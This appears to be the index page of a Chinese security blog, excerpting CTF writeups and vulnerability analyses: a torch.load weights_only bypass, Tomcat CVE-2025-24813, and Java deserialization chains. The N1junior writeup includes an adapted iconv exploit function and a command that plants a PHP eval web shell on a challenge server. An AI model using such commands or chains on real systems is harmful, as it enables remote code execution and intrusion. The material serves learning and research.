GSBP's Blog

Interesting in CyberSecurity

torch.load攻击新手法

前言

博客太久没更了,找点东西更更XD。这次看BlackHat ppt传出来了就看到了个有意思的Pytorch漏洞,在四五月份的时候已经有相关cve了(CVE-2025-32434),效果是即使torch.load的参数weights_only=True,也能够成功的RCE,不过能否成功rce也要看情况,细节看下文

背景介绍

weights_only

此参数更多的是限制在torch.load中pickle反序列化的能力,在torch早版本时期,利用pickle常规payload能够直接进行代码注入,命令执行等高危操作。于是官方推出此参数来保护用户的安全。在2.6.0版本中正式引入,并且此后版本的pickle.load此参数的默认值为True,即开启保护。

TorchScript

TorchScript 是 PyTorch 提供的一种中间表示形式,它把原本依赖 Python 的动态图模型转换为可序列化、可优化、可独立运行的静态图。通过 torch.jit.trace 或 torch.jit.script 可以生成 TorchScript 模型,并保存为 .pt 文件,用于跨平台部署(如 C++、移动端)。它既保留了 PyTorch 的灵活性,又解决了性能优化和摆脱 Python 环境依赖的问题。

分析

​ 为了方便理解,先拿出一个简单的demo出来

import torch

class MyModule(torch.nn.Module):
    def __init__(self):
        super(MyModule, self).__init__()
        self.linear = torch.nn.Linear(10, 5)

    def forward(self):
        print(1)
        return torch.zeros(0)

module=MyModule()
sc=torch.jit.script(module)
sc.save("pytorch_model.bin")

newModule=torch.load("pytorch_model.bin",weights_only=True)
modins=newModule()

运行demo可以发现

image-20250821150530808

此时我们可以通过这段demo理解到了一部份的漏洞实质,即这个漏洞并非只需要一个简单的load就能够进行攻击的,而是需要load后创造出来的对象进行一些方法调用才可以进行漏洞攻击,demo中使用的是对该对象进行实例化操作,该对象继承自nn.Module,在此过程中会自动的调用对应的forward方法,看下图代码

image-20250821151243070

为了下一步的了解,我们理解到了forward方法能够被调用,那是否意味着我们能够写入任意代码呢,此时我们将forward方法改写成以下情况

    def forward(self):
        eval("print(1)")
        return torch.zeros(0)

运行后产生下图报错

image-20250821151646558

Python builtin <built-in function eval> is currently not supported in Torchscript

这里就了解到了我们的Torchscript,可以看出我们的eval方法并不被Torchscript所支持,因为eval没有对应的TorchScript操作符。所以现在我们再次理解到了漏洞的又一部份实质,即只有在Torchscript中存在操作符的方法才能够被编译成TorchScript使用

2025-08-25

D3CTF 2025-WP

前言

跟着Syc打的,web方向差一题ak,算是有点可惜了

d3model

题目内就一个app.py

import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
    try:
        keras.models.load_model(modelname)
    except Exception as e:
        print(e)
        return False
    return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)
    
    if file_size > MAX_FILE_SIZE:
        return jsonify({'error': 'File size exceeds 50MB limit'}), 400
    
    filepath = os.path.join('./', 'test.keras')
    if os.path.exists(filepath):
        os.remove(filepath)
    file.save(filepath)
    
    if is_valid_model(filepath):
        return jsonify({'message': 'Model is valid'}), 200
    else:

        return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

代码也没啥好审的,很明显就只有一个keras.models.load_model(modelname)能当作sink点,去网上搜一下相关漏洞就能找到现成的payload,题目不出网,外带到index.html即可

2025-06-01

K8slanparty WP


DNSing with the stars


You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.

As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have “loaded your machine with dnscan to ease this process for further challenges.

All the flags in the challenge follow the same format: wiz_k8s_lan_party{*}


根据题目信息可以知道是利用dnscan寻找k8s主机

通过env可以发现k8s的一些信息,比如service主机地址

2025-05-15

软件攻防赛现场赛上对justDeserialize攻击的几次尝试

前言

一个关于本地打通无数次但远程0次的故事

题目分析

题目直接给了一个反序列化的入口点

image-20250324233735530

其中有两层防御

  • 对我们的反序列化数据流中的明文进行简单判断过滤
  • 使用了一个自定义反序列化类来对我们的反序列化数据流进行反序列化

其中自定义化反序列化类代码如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjav.utils;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;

public class MyObjectInputStream extends ObjectInputStream {
    private String[] denyClasses;

    public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
        super(var1);
        ArrayList<String> classList = new ArrayList();
        InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
        BufferedReader var2 = new BufferedReader(new InputStreamReader(file));

        String var4;
        while((var4 = var2.readLine()) != null) {
            classList.add(var4.trim());
        }

        this.denyClasses = new String[classList.size()];
        classList.toArray(this.denyClasses);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        int var5 = this.denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = this.denyClasses[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }
}

blacklist中读取baned类,且在resolveClass中进行过滤

2025-03-24

[Tomcat]CVE-2025-24813复现及原理分析

前言

出了个通告说Tomcat有个新的cve,于是来尝试复现分析一下

通报

关于漏洞的通报细节如下

image-20250312143659450

一看又是DefaultServlet的put方法上出的洞,这里漏洞利用有两种形式,一个是信息泄漏和篡改,还有一个是反序列化RCE,而且要求的前置项有点多,这里简单列出来

信息泄漏/篡改

  • ReadOnly为false

  • 支持partial PUT方法

  • 攻击者知道敏感文件的名称

  • 安全敏感文件的上传目标 URL 是公开上传目标 URL 的子目录(?这个看不懂,也不知道啥意思)

反序列化RCE

  • ReadOnly为false
  • 支持partial PUT方法
  • 服务开启以文件为存储形式的持久化链接,并且采用默认位置
  • 有能够引起反序列化漏洞的依赖

环境搭建

我参考的这篇文章搭建的环境

https://juejin.cn/post/7331544684290228250

接下来修改readonly

tomcat目录/conf/web.xml

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
      <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
      </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

开启持久化链接文件模式

tomcat目录/conf/context.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
  <Manager className="org.apache.catalina.session.PersistentManager"
           debug="0"
           saveOnRestart="false"
           maxActiveSession="-1"
           minIdleSwap="-1"
           maxIdleSwap="-1"
           maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory=""/>
  </Manager>
</Context>

往pom.xml下塞入CC依赖

2025-03-12

[2025]N1junior-WP

Gavatar

一个php服务

这里看upload.php有着很明显的任意文件读的漏洞,只需要post一个url参数就可以

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

flag也不能直接读,需要rce调用/readflag,然后就开始想能不能和其他php文件下的漏洞一起利用

也是没有其他能够接着利用的漏洞了,然后看到php版本是8.3.4,就想到那个iconv的漏洞利用

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

因为不是直接返回文件内容,而是需要我们从avatar.php中获取,这里需要稍微改一下脚本中的download函数,要提前注册一个用户,然后把session和user填上即可

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        self.send(path)
        response=self.session.get("http://39.106.16.204:20871/avatar.php?user=123")
        print(response)
        data = response.text
        return base64.decode(data)

然后跑exp就好了

python test.py http://39.106.16.204:20871/upload.php "echo '<?=@eval(\$_POST[0]);?>' > shell.php"

image-20250211210919337

2025-02-11

SpringAOP链学习

前言

在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下

正文

依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类

流程

调用链如下

JdkDynamicAopProxy.invoke()->
ReflectiveMethodInvocation.proceed()->
AspectJAroundAdvice->invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
method.invoke()

执行类是org.springframework.aop.aspectj.AbstractAspectJAdviceinvokeAdviceMethodWithGivenArgs方法

image-20250123020448769

    protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
        Object[] actualArgs = args;
        if (this.aspectJAdviceMethod.getParameterCount() == 0) {
            actualArgs = null;
        }

        try {
            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
            return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
        } catch (IllegalArgumentException ex) {
            throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex);
        } catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }

直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大

2025-01-23

JDK17打Jackson+LdapAttruibute反序列化

起因

本月五号的时候打了个软件攻防赛,里面有道java当时没做出来,用的ldapAttribute+Jackson死活没通,后面自己调试了一下,这里做个记录

题目分析

题目名叫JDBCParty,jdk版本是17,里面给了个接口源码如下

    @PostMapping({"/dbtest"})
    public ResponseEntity<String> dbtest(String data) {
        try {
            User credentials = (User)Utils.deserialize(data);
            Class.forName(this.driverClassName);

            try (Connection connection = DriverManager.getConnection(this.url, credentials.getUsername(), credentials.getPassword())) {
                if (connection.isValid(5)) {
                    return ResponseEntity.ok("connect success");
                } else {
                    return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("connect failed");
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("connect failed " + e.getMessage());
        }
    }
}

表面上是给了个JDBC的入口,但是我们能控的只有username和password,打不了jdbc。

实际入口是那个反序列化,从这个反序列化里面做文章

然后看看题目给的依赖

- "BOOT-INF/lib/spring-boot-3.3.5.jar"
- "BOOT-INF/lib/spring-boot-autoconfigure-3.3.5.jar"
- "BOOT-INF/lib/logback-classic-1.5.11.jar"
- "BOOT-INF/lib/logback-core-1.5.11.jar"
- "BOOT-INF/lib/log4j-to-slf4j-2.23.1.jar"
- "BOOT-INF/lib/log4j-api-2.23.1.jar"
- "BOOT-INF/lib/jul-to-slf4j-2.0.16.jar"
- "BOOT-INF/lib/jakarta.annotation-api-2.1.1.jar"
- "BOOT-INF/lib/snakeyaml-2.2.jar"
- "BOOT-INF/lib/jackson-databind-2.17.2.jar"
- "BOOT-INF/lib/jackson-annotations-2.17.2.jar"
- "BOOT-INF/lib/jackson-core-2.17.2.jar"
- "BOOT-INF/lib/jackson-datatype-jdk8-2.17.2.jar"
- "BOOT-INF/lib/jackson-datatype-jsr310-2.17.2.jar"
- "BOOT-INF/lib/jackson-module-parameter-names-2.17.2.jar"
- "BOOT-INF/lib/tomcat-embed-core-10.1.31.jar"
- "BOOT-INF/lib/tomcat-embed-el-10.1.31.jar"
- "BOOT-INF/lib/tomcat-embed-websocket-10.1.31.jar"
- "BOOT-INF/lib/spring-web-6.1.14.jar"
- "BOOT-INF/lib/spring-beans-6.1.14.jar"
- "BOOT-INF/lib/micrometer-observation-1.13.6.jar"
- "BOOT-INF/lib/micrometer-commons-1.13.6.jar"
- "BOOT-INF/lib/spring-webmvc-6.1.14.jar"
- "BOOT-INF/lib/spring-aop-6.1.14.jar"
- "BOOT-INF/lib/spring-context-6.1.14.jar"
- "BOOT-INF/lib/spring-expression-6.1.14.jar"
- "BOOT-INF/lib/thymeleaf-spring6-3.1.2.RELEASE.jar"
- "BOOT-INF/lib/thymeleaf-3.1.2.RELEASE.jar"
- "BOOT-INF/lib/attoparser-2.0.7.RELEASE.jar"
- "BOOT-INF/lib/unbescape-1.1.6.RELEASE.jar"
- "BOOT-INF/lib/slf4j-api-2.0.16.jar"
- "BOOT-INF/lib/spring-core-6.1.14.jar"
- "BOOT-INF/lib/spring-jcl-6.1.14.jar"
- "BOOT-INF/lib/ojdbc11-21.14.0.0.jar"
- "BOOT-INF/lib/tomcat-jdbc-10.1.31.jar"
- "BOOT-INF/lib/tomcat-juli-10.1.31.jar"
- "BOOT-INF/lib/batik-swing-1.14.jar"
- "BOOT-INF/lib/batik-anim-1.14.jar"
- "BOOT-INF/lib/batik-parser-1.14.jar"
- "BOOT-INF/lib/batik-svg-dom-1.14.jar"
- "BOOT-INF/lib/batik-awt-util-1.14.jar"
- "BOOT-INF/lib/xmlgraphics-commons-2.6.jar"
- "BOOT-INF/lib/commons-io-1.3.1.jar"
- "BOOT-INF/lib/commons-logging-1.0.4.jar"
- "BOOT-INF/lib/batik-bridge-1.14.jar"
- "BOOT-INF/lib/batik-xml-1.14.jar"
- "BOOT-INF/lib/batik-css-1.14.jar"
- "BOOT-INF/lib/batik-dom-1.14.jar"
- "BOOT-INF/lib/xalan-2.7.2.jar"
- "BOOT-INF/lib/serializer-2.7.2.jar"
- "BOOT-INF/lib/xml-apis-1.4.01.jar"
- "BOOT-INF/lib/batik-ext-1.14.jar"
- "BOOT-INF/lib/batik-gui-util-1.14.jar"
- "BOOT-INF/lib/batik-gvt-1.14.jar"
- "BOOT-INF/lib/batik-script-1.14.jar"
- "BOOT-INF/lib/batik-shared-resources-1.14.jar"
- "BOOT-INF/lib/batik-util-1.14.jar"
- "BOOT-INF/lib/batik-constants-1.14.jar"
- "BOOT-INF/lib/batik-i18n-1.14.jar"
- "BOOT-INF/lib/xml-apis-ext-1.3.04.jar"
- "BOOT-INF/lib/fastjson2-2.0.37.jar"
- "BOOT-INF/lib/spring-boot-jarmode-tools-3.3.5.jar"

有tomcat-jdbc,snakeYaml,EL,Jackson和fastjson2等等,题目指向性很强,就是让我们用一个JNDI通过Tomcat-JDBC打EL,snakeYaml表达式注入的操作

2025-01-20